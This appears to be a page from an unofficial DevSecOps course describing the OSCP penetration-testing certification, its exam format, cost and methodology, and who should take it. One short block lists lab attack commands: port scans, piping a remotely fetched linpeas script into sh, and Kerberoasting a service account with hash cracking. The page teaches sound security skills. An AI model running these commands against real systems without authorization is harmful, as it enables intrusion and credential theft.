Other Certifications · OffSec · OSCP

OSCP — Offensive Security Certified Professional

The offensive security page explained why a human tester finds things SAST, DAST, and SCA structurally cannot — and introduced Rocky the Raccoon as the character who does that work. This page is about the credential that proves someone can actually do it: the Offensive Security Certified Professional (OSCP), OffSec's foundational, entirely hands-on penetration-testing certification. There's no multiple choice and no simulated stand-in for the real thing — you're handed a private network of live machines and a strict clock, and the only thing that counts is whether you actually compromised them. This isn't a pitch to become a full-time penetration tester. It's for the DevSecOps engineer who wants to read a pentest report, scope a purple-team session, or push back on a red-team finding from real technical footing instead of trusting the PDF at face value — what OSCP actually tests, the format and cost you should verify before booking, and an honest read on who in this discipline should sit it.

☺ Explain it like I'm 10

Reading a cooking magazine teaches you what a good dish is supposed to taste like. It doesn't teach you to cook one, under a timer, with real ingredients, when nothing goes the way the recipe said it would. Most security certifications are the magazine — you answer questions about what a good answer looks like. The OSCP is the timed kitchen: you're handed real, broken machines, a clock that doesn't stop, and no recipe at all. Passing proves you can actually cook the meal, not just describe one.

🦝Your host for this topic: Rocky the Raccoon — the supporting-cast red-teamer who already pries open threat models in threat modeling and does the chained-finding work described on the offensive security page. This is the exam that put a badge on the skill Rocky already has.

Why this course profiles a certification that teaches nothing about pipelines or gates

☺ Like you're 10: Every other certification on this page teaches you to build or guard something. This one teaches you to break in — on purpose, with permission — so you understand exactly what you're guarding against.

Nearly everything else on this course's certifications shelf sits on the defender's side of the table: CKS hardens a cluster, CISSP covers governance, the cloud-security-specialty exams audit a provider's configuration surface. The OSCP breaks that pattern completely — it is a pure attacker credential, earned by finding and exploiting real vulnerabilities against real machines, with zero content about CI/CD gates, policy as code, or compliance evidence. It's included anyway because of a gap the offensive security for DevSecOps page names directly: a DevSecOps engineer who has never personally tried to chain a low-severity information leak into a full account takeover reads a penetration-test report the way someone who's never cooked reads a restaurant review — able to nod along, unable to independently judge whether the claimed difficulty, the "these three findings chain together" claim, or the suggested remediation priority actually reflects what happened on the engagement.

Unlike CKA's relationship to CKS — a hard, system-enforced prerequisite you cannot route around — nothing in this course's practice requires OSCP. No booking system checks for it. It's elective depth, not a gate, and that distinction matters when you're deciding whether it's worth the time: sit it because the attacker's-eye view genuinely changes how you scope a purple-team session or write a detection rule, not because anything else on this page's list is blocked without it.

What the OSCP actually is: PEN-200, "Try Harder," and a fully practical exam

☺ Like you're 10: There's no quiz to guess your way through. You get a real, broken machine, a terminal, and the expectation that you'll keep trying things long after the easy ideas run out.

The OSCP is earned by passing the certification exam tied to PEN-200, OffSec's course titled Penetration Testing with Kali Linux — long known by its older course code, PWK, before OffSec (formerly "Offensive Security," founded out of the BackTrack/Kali Linux lineage) renamed its whole catalog under a consistent PEN-/WEB-/EXP- prefix scheme. The course bundles self-paced material, videos, exercises, and time-boxed access to a lab network of dozens of intentionally vulnerable machines built to be attacked the same way the exam machines will be.

OffSec's own tagline, printed across the course materials and repeated by nearly every candidate who's sat it, is "Try Harder." It isn't a marketing throwaway — it describes the actual pedagogy. The course teaches methodology and technique rather than a walkthrough of every possible machine, and the built-in expectation is that a stuck candidate spends real, often frustrating time re-enumerating, re-reading their own notes, and trying a genuinely different approach before looking anything up. That's also why "one machine ate my entire afternoon" is treated as a normal, even expected, part of the story rather than a sign something went wrong — a real engagement doesn't hand you a hint button either.

The exam itself is entirely performance-based: zero multiple choice, zero questions about what a correct answer looks like. You're connected over VPN to a private, isolated set of target machines, and grading is based purely on evidence you extract from the machines you actually compromise, backed by a written report.

The methodology the exam actually grades

☺ Like you're 10: Every machine gets attacked the same four-step way — look everywhere, find a way in, become someone more powerful once you're inside, then prove it with a flag file only the winner could read.

OSCP's exam machines reward a repeatable process more than any single trick. The methodology the course teaches, and that a real gray-box pentest (see the offensive security page's knowledge-level table) runs on in practice, breaks into four stages:

# enumeration pass — the exam rewards a repeatable checklist, not memory
nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.15
nmap -sC -sV -p$(grep open scans/allports.nmap | cut -d'/' -f1 | paste -sd, -) -oA scans/detailed 10.10.10.15
feroxbuster -u http://10.10.10.15 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak
# Linux privilege-escalation triage
curl -s http://10.10.14.5/linpeas.sh | sh -s -- -a > linpeas_out.txt
sudo -l
find / -perm -4000 -type f 2>/dev/null
# Active Directory: Kerberoast a service account, then crack it offline
impacket-GetUserSPNs corp.local/j.doe:'Passw0rd!' -dc-ip 10.10.10.20 -request
hashcat -m 13100 spn_hashes.txt rockyou.txt

Two exam mechanics are worth understanding before you build a study plan, precisely because both have shifted over the exam's history. Every compromised machine yields two flags — a low-privilege local.txt and a high-privilege proof.txt — each a unique string your report has to include alongside a screenshot proving control (typically a whoami or hostname run right next to a cat of the flag). And the exam's rules on tooling — historically a scripted, guaranteed-points buffer-overflow machine, and historically a hard cap of one target where Metasploit was permitted — have both been revised more than once as the course evolved. Confirm the current exam guide before assuming either detail still applies exactly as described here.

◆ Key idea

Nothing about this methodology is exotic — it's the same enumerate-exploit-escalate loop described at the start of the offensive security page's penetration-testing section. What OSCP adds isn't new theory; it's dozens of hours of doing the loop yourself, on boxes that don't cooperate, until it's reflex instead of a checklist you're reading off a page.

PEN-200 OSCP — this page PEN-300 · OSEP advanced pentest & evasion WEB-300 · OSWE advanced web attacks EXP-301 · OSED exploit development This page covers OSCP only — the three boxes above are specializations picked because the work calls for them, not a checklist to clear.

Format, cost, and prerequisites — verify before you book

☺ Like you're 10: The exam's shape and price shift now and then. Read OffSec's own page before you pay for anything, not this one.

The details below are what OffSec generally publishes and what candidates consistently report at the time of writing. Treat this as planning information, not something to quote back at anyone — packaging, pricing, and exam mechanics have all changed more than once across the certification's history.

ItemWhat is generally published
FormatFully remote, proctored (webcam and screen-share for the duration), entirely hands-on — real exploitation against a private VPN-connected network of live machines
DurationWidely reported as 23 hours 45 minutes of exam time, followed by a separate 24-hour window to submit the written report
Passing scoreGenerally published as 70 out of 100 points, with points earned per compromised machine and partial credit available on the Active Directory set for individual hosts taken even without full domain compromise
ReportA structured penetration-test report against OffSec's template, documenting each compromised host with the extracted flags and screenshots proving control
PrerequisitesNone formally enforced — but OffSec's own guidance expects the PEN-200 course and lab material completed first, plus real comfort with Linux, basic scripting, and TCP/IP fundamentals
CostHistorically sold à la carte — a course-plus-lab bundle (commonly 30/60/90 days of lab access) plus one exam attempt — or bundled into OffSec's subscription tiers alongside other courses. Figures commonly quoted run from roughly USD $1,000 to several thousand depending on tier and included lab time; packaging has shifted more than once, so check current pricing directly
RetakeA failed attempt typically requires purchasing another exam voucher; confirm current retake pricing and any waiting period
ValidityUnlike CPE-driven credentials such as CISSP, OSCP has not historically expired on its own — check OffSec's current policy directly, since continuing-certification and badge-freshness requirements are exactly the kind of detail that gets revised
⚠ Verify this before you book

Price, duration, passing score, retake policy, and course packaging all change. Nothing on this page is authoritative — this site is independent and unofficial. Confirm current details on OffSec's PEN-200 course page and OffSec's certifications overview before paying, and read the exam guide in full — the exact rules on tooling restrictions, buffer-overflow requirements, and proctoring are enforced strictly and are the details most likely to have moved since this page was written.

What OSCP gives a DevSecOps engineer that a pentest report alone never will

☺ Like you're 10: Reading about someone else picking a lock is not the same as knowing, in your hands, how much force a pin actually takes before it gives.

The offensive security page walks through a concrete chain: a verbose error message, an IDOR, and a missing rate limit — three low-or-medium findings a scanner correctly rates as unremarkable individually, combined by a human tester into a full account takeover. Reading that example is useful. Having personally spent hours on an OSCP box where the only path forward was noticing that three separate small things fit together is a different kind of useful — it's the difference between trusting that a pentest report's "these findings chain together" claim is real, and being able to independently trace the chain yourself and ask a sharp follow-up question when a step doesn't hold up.

That translates into specific, everyday DevSecOps work. Scoping a purple-team session credibly means picking a realistic MITRE ATT&CK technique and knowing roughly how a red teamer would actually execute it — not just naming the technique off a matrix. Writing the kind of Sigma or Falco rule described in that same offensive-security page's detection section is sharper when you've run the attacker command sequence yourself and know exactly what it looks like on the wire, rather than reverse-engineering it purely from a CVE description. And reviewing a threat model in threat modeling — Rocky's other home in this course — goes further when "an attacker could pivot from here" is informed by having actually pivoted somewhere, using tools like chisel or ligolo-ng, rather than being a plausible-sounding guess.

Be precise about what OSCP does not give you, too. It doesn't teach detection engineering, Sigma authoring, or SIEM tuning — that's still detection engineering & security observability's job. Its lab environment is classic network, web-application, and Active Directory territory; it has essentially nothing to say about container escapes, Kubernetes RBAC abuse, or cloud IAM privilege chains, which live instead in Kubernetes security deep dive and this course's cloud-security material. And it says nothing about which techniques or objectives are worth emulating for your specific threat landscape in the first place — that's secure by design & threat intelligence's territory. OSCP sharpens the attacker's-eye view on one well-defined, classic surface. It's a real and durable skill, not a substitute for the rest of this course.

🦆 Dot's-eye view

"I don't need to know how to Kerberoast anything. But when a pentest report lands on the backlog calling three medium findings a critical chain, I want whoever's triaging it to be able to tell me, honestly, whether that's real or inflated — and not just repeat what the PDF says because nobody on our side has ever tried it themselves."

Who should sit it, and who should reasonably skip it

☺ Like you're 10: If the plan is to spend real time on the attacking side of security, this is close to the standard first step. If it isn't, there's no shame in reading about Rocky instead of becoming Rocky.

Sit the OSCP if you want genuine, hands-on attacker fluency and expect to use it — moving toward a purple-team-adjacent or internal red-team-supporting role, or simply wanting real technical footing under the offensive-security conversations this discipline increasingly has. It's also a strong fit if you already enjoy grinding constrained lab boxes (HackTheBox, TryHackMe, VulnHub) as a hobby; that's functionally the same skill the exam grades, and OSCP turns the hobby into a credential employers recognize. Note too that OSCP shares this course's other performance-based, zero-multiple-choice exam style with CKS and CKA — if that exam format suits how you learn, this is more of the same discipline pointed at a different target.

Reasonably skip it, at least for now, if your DevSecOps work is entirely upstream — pipeline tooling, SAST/SCA rule authoring, secrets scanning — with no plan to move toward exploitation-adjacent work; the honest return on the hours OSCP demands is lower there than putting the same time into secure SDLC gates or detection engineering instead. Skip it too if what you actually want is a broad governance-and-risk credential — that's CISSP or CISM territory, not this. And be honest about time: candidates commonly report several hundred hours of preparation across the course and lab material before they feel exam-ready. If that commitment doesn't fit your current season, there's no penalty in coming back to this page later — Rocky's work will still be here to learn from either way.

🎬 At the Shift-Left Squad
🦝

Rocky the Raccoon: Just came out of the exam window. Twenty-three hours forty-five minutes, and one box didn't fall until hour nineteen.

🐢

Timmy the Turtle: Nineteen hours on one machine and you're calling that a good day?

🦝

Rocky the Raccoon: "Try Harder" isn't a slogan, Timmy — it's the whole methodology. Nobody hands you a hint button on a real engagement either.

🦊

Foxy: So why should the rest of us bother learning any of this? We've got you for that.

🦝

Rocky the Raccoon: Because next time I hand you a report calling three findings a chained account takeover, you'll actually be able to ask me where the chain breaks — instead of just trusting the PDF because it sounds confident.

🐘

Ellie the Elephant: Did any of those nineteen hours involve a plaintext credential sitting somewhere it shouldn't have been?

🦝

Rocky the Raccoon: ...three of them, actually. Some things never change.

🦉

Professor Owl: And that's this whole page's point. Not to turn everyone into Rocky — to make sure the rest of the Squad can read Rocky's report and ask a sharp follow-up question instead of a vague one.

✓ Checkpoint

1. Why does a course otherwise built around pipelines and gates profile a certification with no pipeline content at all? 2. Name the four stages of the methodology OSCP's exam machines actually grade. 3. What are local.txt and proof.txt, and why does the report need a screenshot alongside each one? 4. Give two things OSCP explicitly does not teach, and name the page in this course that covers each instead. 5. Name one situation where a DevSecOps engineer should reasonably skip the OSCP for now.

Check your answers
  1. Because the offensive security page explains that automated scanning has a structural blind spot around chained, business-logic-style findings — and a DevSecOps engineer who has never personally chained findings together has no independent way to judge whether a pentest or red-team report's claims hold up. OSCP is the credential that closes that specific experience gap; it isn't required by anything else on this course's certification shelf.
  2. Enumeration, initial foothold, privilege escalation, and (in the modern course and exam) an Active Directory attack chain.
  3. local.txt is the low-privilege flag and proof.txt is the high-privilege flag on each compromised machine — unique strings that prove the level of access actually achieved. The report needs a screenshot alongside each because the flag string alone doesn't prove who ran the command that read it; a screenshot showing whoami or hostname next to the flag output ties the proof to the candidate's own session.
  4. Any two of: detection engineering, Sigma/Falco rule authoring, and SIEM tuning (covered instead in detection engineering & security observability); container escapes, Kubernetes RBAC abuse, and cloud IAM privilege chains (covered instead in Kubernetes security deep dive and this course's cloud-security material); and which techniques or objectives are worth emulating for a given threat landscape (covered instead in secure by design & threat intelligence).
  5. Any reasonable answer, e.g.: their work is entirely upstream of exploitation (pipeline tooling, SAST/SCA, secrets scanning) with no plan to move toward offensive or purple-team-adjacent work; they actually want a broad governance-and-risk credential like CISSP or CISM instead; or the several-hundred-hour typical preparation commitment doesn't fit their current season.

More ways to compare this credential against the rest of the shelf live on the certifications hub.